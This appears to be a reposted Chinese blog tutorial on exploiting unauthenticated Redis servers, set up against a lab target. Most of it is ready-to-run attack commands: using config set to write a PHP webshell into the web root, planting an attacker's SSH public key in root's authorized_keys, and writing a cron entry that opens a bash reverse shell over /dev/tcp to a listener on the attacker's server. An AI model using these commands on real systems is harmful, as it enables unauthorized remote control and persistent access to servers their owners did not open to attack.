redis未授权访问

Posted 冬泳怪鸽

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权访问相关的知识,希望对你有一定的参考价值。

1. 漏洞的原因

开启远程连接,允许其他ip访问;

关闭保护模式;

没有设置密码。

2.环境的配置

  1. wget http://download.redis.io/releases/redis-2.8.17.tar.gz

  2. tar xzf redis-2.8.17.tar.gz

  3. cd redis-2.8.17

  4. make

  5. 当前目录:redis-2.8.17,首先vi redis.conf,

    bind 127.0.0.1(前边加#)

    protected-mode no

6.运行

./src/redis-server redis.conf

这是靶机的配置

在攻击方机器,安装并运行redis,推荐直接apt安装,最新版本即可。

3.连接

攻击方:

redis-cli -h ip(靶机)

4. webshell

这种情况可以用在权限较低的情况下

攻击方连接成功后

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

在web目录下出现shell,菜刀连接

5.ssh免密码登陆

cd ~/.ssh

ssh-keygen -t rsa

复制下 id_rsa.pub

redis-cli -h ip

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali


"(注意公钥左右有
,还有用户名也要复制,总之是id_rsa.pub的全部内容)
save

最后 ssh -i id_rsa root@ip(靶机ip)

6.交互式shell

1.在自己的服务器上监听一个端口,一会反弹到这里来#

nc -lvnp 7999

2.攻击方 redis-cli -h ip

set x "
* * * * * bash -i >& /dev/tcp/ip(vps)/7999 0>&1
"
config set dir /var/spool/cron/
config set dbfilename root
save

以上是关于redis未授权访问的主要内容,如果未能解决你的问题,请参考以下文章

关于redis未授权访问说法不正确的是

Redis 未授权访问缺陷可轻易导致系统被黑

修补--Redis未授权访问漏洞

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用

Redis 未授权访问漏洞